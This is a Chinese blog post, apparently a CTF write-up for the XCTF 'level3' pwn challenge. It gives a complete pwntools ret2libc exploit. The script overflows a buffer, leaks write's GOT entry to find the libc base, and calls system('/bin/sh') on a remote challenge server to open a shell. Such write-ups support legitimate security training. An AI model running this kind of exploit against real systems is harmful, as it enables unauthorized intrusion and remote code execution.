avatar

Pwn弟弟的成长日记(四)--攻防世界level3

解题思路

  1. 查看文件信息,安全机制
  2. 代码审计
  3. 分析漏洞点
  4. 编写EXP

查看文件信息,安全机制

代码审计

分析漏洞点

根据题目提示 用ret2libc
用elf来加载题目给的libc
爆出地址的时候只要前4位!!!巨坑
binsh的地址不是用libcsearcher得到的话只能查找偏移量

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
#p=process("./gf3")
p=remote("111.198.29.45","37420")
elf=ELF("level3")
libc=ELF("libc_32.so.6")
write_addr=elf.plt['write']
write_got_addr=elf.got['write']
main_addr=elf.sym['main']
offset=0x88+0x4
payload="a"*offset+p32(write_addr)+p32(main_addr)+p32(1)+p32(write_got_addr)+p32(4)
p.sendlineafter("Input:\n",payload)
write_blic_addr= u32(p.recv())
print write_blic_addr
base_addr=write_blic_addr-libc.sym['write']
system_addr=base_addr+libc.sym['system']
binsh_addr=base_addr+0x0015902c
payload2="a"*offset+p32(system_addr)+p32(0x00000000)+p32(binsh_addr)
p.recvuntil(":\n")
p.sendline(payload2)
p.interactive()
文章作者: Sunset
文章链接: https://pwnedyu.cn/2020/04/05/Pwn%E5%BC%9F%E5%BC%9F%E7%9A%84%E6%88%90%E9%95%BF%E6%97%A5%E8%AE%B0%EF%BC%88%E5%9B%9B%EF%BC%89--%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Clevel3/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sunset's blog
打赏
  • 微信
    微信
  • 支付寶
    支付寶